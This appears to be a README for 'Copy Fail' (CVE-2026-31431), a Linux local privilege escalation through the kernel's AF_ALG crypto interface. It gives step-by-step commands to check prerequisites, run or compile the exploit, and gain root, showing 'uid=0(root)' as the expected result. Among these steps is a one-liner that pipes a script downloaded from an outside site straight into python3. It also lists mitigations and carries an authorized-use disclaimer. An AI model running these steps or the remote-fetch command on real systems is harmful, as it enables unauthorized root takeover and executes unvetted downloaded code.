
Most Linux LPEs need a race window or a kernel-specific offset. Copy Fail is a straight-line logic flaw, it needs neither. The same 732-byte Python script (or .c elf) roots every Linux distribution shipped since 2017.
This content is for educational and authorized security testing purposes only. Do NOT run this on systems without explicit permission.
Copy Fail (CVE-2026-31431) is a Linux Local Privilege Escalation (LPE) vulnerability affecting the kernel crypto API via AF_ALG.
It allows an unprivileged user to overwrite page cache data of a SUID binary (e.g., /usr/bin/su) and gain root access.
AF_ALG enabledalgif_aead module loadedos.splicesocket(AF_ALG)uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg
Expected indicators:
authencesn(hmac(sha256),cbc(aes))algif_aead loadedpython3 copy_fail_exp.py
curl https://copy.fail/exp | python3
su
id
Expected result:
uid=0(root)
os.splice not foundCause:
Solution:
gcc copy_fail_exp.c -o copy_fail
chmod +x copy_fail
./copy_fail
su
Possible causes:
Install required tools:
apt update && apt install build-essential
dmesg | grep -i alg
lsmod | grep algif_aead
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead
Update your system:
apt update && apt upgrade
If the exploit fails, consider:
Use this exploit responsibly in labs, CTFs, and authorized pentests only.